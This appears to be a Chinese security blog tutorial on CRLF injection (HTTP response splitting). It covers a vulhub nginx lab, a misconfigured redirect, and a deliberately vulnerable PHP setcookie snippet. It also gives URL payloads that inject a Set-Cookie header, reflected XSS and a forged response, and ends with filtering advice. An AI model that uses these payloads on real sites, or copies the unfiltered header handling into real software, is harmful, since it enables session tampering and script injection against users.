CRLF注入漏洞原理

目录

漏洞原理

 CRLF注入漏洞又称HTTP响应拆分漏洞(HTTP Response Splitting),攻击方式是将回车符、换行符注入到HTTP的响应包中。
  HTTP响应包通常以两个换行符,去划分响应头与响应正文两个部分。当用户的操作足以控制响应头的内容时,将会出现CRLF漏洞。

换行符、回车符

  • 回车符(CR,ASCII 13,\r,%0d)
  • 换行符(LF,ASCII 10,\n,%0a)

漏洞环境搭建

利用docker搭建vulhub靶场,进入/vulhub/nginx/insecure-configuration目录

启动镜像:

docker-compose up -d

8080端口是crlf漏洞靶场

在这里插入图片描述

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
	return 302 https://$host$uri;
}

 

漏洞利用讲解

修改会话值

Payload:http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。

在这里插入图片描述

其他漏洞

由于这个靶场只能修改Location url后的值,不能进行其他漏洞的演示。这里只能简单讲解其他漏洞的利用。

漏洞源码:

<?php

$test = $_POST['setcookie'];
if(isset($test)){
	setcookie($test);
}

?>

 

反射形xss

当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射行xss

payload:

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script>

响应包:

HTTP/1.1 200 OK
Content-Type: text/html 
Connection: close 
set-cookie: 
X-XSS-Protection: 0


<script>alert('xss')</script>

 

漏洞加固

过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。

参考链接

CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CRLF注入漏洞是一种常见的网络安全漏洞,它在代码中未对输入进行正确的过滤和验证,导致攻击者可以利用换行符(CRLF:Carriage Return Line Feed)来执行恶意代码或实施其他攻击。 要复现CRLF注入漏洞,首先需要找到存在漏洞的应用程序。这些应用程序通常会接收用户的输入,并在服务器上生成响应,而在生成响应时未能很好地处理输入的换行符。 我们可以通过使用一个简单的示例来演示CRLF注入漏洞的复现。假设我们有一个简单的表单,允许用户提交评论,并在页面上显示评论内容,我们可以通过评论框中的输入来复现漏洞。 首先,我们在评论框中输入以下内容: ``` 本次评论测试漏洞%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<html><body>Hacked!</body></html> ``` 在上述输入中,`%0D%0A`表示换行符。我们在注入的内容中使用了换行符,然后添加了一些伪造的HTTP响应头,包括`Content-Length: 0`和`HTTP/1.1 200 OK`。最后,我们添加了一个简单的HTML页面。 当我们提交评论后,应用程序未能正确处理换行符,导致我们的注入成功。服务器在生成响应时,将我们注入的内容也作为响应头部分显示出来。 这样,我们就成功利用CRLF注入漏洞,并在生成的页面上显示了我们的内容。 为了防止CRLF注入漏洞,开发者应该对用户的输入进行正确的过滤和验证。在处理用户的输入时,应该移除或转义包含换行符的内容,以防止攻击者注入恶意内容并执行攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值